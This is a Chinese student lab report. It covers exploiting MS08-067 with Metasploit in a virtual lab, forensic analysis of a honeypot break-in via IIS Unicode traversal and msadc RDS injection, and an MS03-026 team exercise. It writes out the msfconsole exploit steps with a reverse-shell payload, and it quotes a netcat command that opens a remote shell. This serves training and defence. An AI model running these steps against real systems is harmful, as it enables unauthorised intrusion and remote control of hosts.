实验要求
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
实验过程
动手实践Metasploit windows attacker
MS08-067远程代码执行漏洞(CVE-2008-4250),它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口进行攻击。
是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存溢出,造成可被利用实施远程代码执行。
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
虚拟机 | IP |
---|---|
Kali | 192.168.19.129 |
Win2kServer | 192.168.19.131 |
nmap扫一下WN SERVER里的漏洞
nmap --script=vuln 192.168.19.131 >> vuln.txt
cat vuln.txt | grep "vuln"
挺多的
其他都是一些smpt、smb的其他漏洞,基本上都是一些打印机、邮件服务器之类的漏洞
启动msf
msfconsole
使用ms08_067漏洞攻击模块
use exploit/windows/smb/ms08_067_netapi
提示没有设置payload,默认用一个反弹shell的payload
设置打开反向连接的载荷
set PAYLOAD generic/shell_reverse_tcp
设置执行bash的RHOST以及反向连接的监听LHOST。
set RHOST 192.168.19.131
set LHOST 192.168.19.129
设置TARGET为0会自动识别靶机系统,输入exploit进行攻击
set TARGET 0
exploit
打通
这里因为太久没动,kali的ip被dhcp到了128,改一下LHOST就行
取证分析实践:解码一次成功的NT系统破解攻击
下载log文件,打开发现一堆乱码
往下翻一下,发现HTTP请求和回复
应该是pcap包,改下后缀名用wireshark打开
往下翻翻,找到HTTP请求和TCP握手包,能看出来213.116.251.162为攻击者,172.16.1.106为靶机。
然后筛选出这两个IP通信的包
扫一眼,看到有个GIF98a,首先怀疑是传了图片马执行了,点进去看发现只是普通的GIF图片而已。
筛选出HTTP流量,发现不对劲的地方
目录穿越+访问dll+经典Unicode漏洞攻击
原理是utf-8编码对应unicode的实现问题,把
11000000 10101111的utf-8解码成00101111,也就是直接变成字符’/‘的ascii码的二进制表示,构造’…/',方便绕过WAF等,完成目录穿越。
这里可以看到,已经能读取boot.ini文件了。
然后POST传了段数据,看看做了什么
可以看到是利用sql语句调用cmd进行下一步的命令执行,简称写shell,利用的是IIS中间件和access的驱动,还有一些提权操作。然后往下找,看看攻击者用了什么命令。
攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据“ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,通过查询可以知道到它是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码发起的。
接下来可以看到起了一个cmd1.exe,利用它开了个ftp访问服务通道,追踪ftp流看看
看到了ftp的账户密码和传输的文件
蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过nc构建其一个远程shell通道。cmd1.exe /c nc -l -p 6969 -e cmd1.exe。简称反弹shell。接着,攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。
往下翻,大概在1368条开始,进入了远程命令式交互阶段
这里是dir命令
看看攻击者都做了什么
对目标主机的文件系统进行了嗅探并删除了一些文件:
尝试在根目录下创建rdisk,但是没有成功
防范:
- 打好补丁
- 禁用用不着的服务,
- 封禁网络内部服务器发起的连接
- 设置虚拟根目录
- 使用 NTFS 文件系统
在这条TCP流里面有一条显示攻击者已经知道靶机是蜜罐了。
团队对抗实践:windows系统远程渗透攻击和分析
MS03_026
漏洞描述
此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的实例,利用此漏洞的蠕虫也大量出现。
漏洞原理
微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
msf的一些参数
exploit:攻击。我觉得就是对漏洞的攻击,也就是通过漏洞对靶机进行一些非授权操作。
payload:载荷。也就是一段shellcode攻击代码,在利用漏洞对靶机进行一系列操作的过程中,实质上进行执行shellcode代码。
encode:编码。查看了一下/usr/share/metasploit-framework/modules/encoders文件夹下的内容,我认为encode就是通过改变shellcode的编码格式
实验问题
问题1:msfconsole在设置完成后打exp始终无法成功
解决方案:RHOST和LHOST弄反了,这个是反弹shell,和正向代理不一样
心得体会
黑客拥有的工具可以集成非常多高危漏洞,在实际环境中需要对这些漏洞进行修补。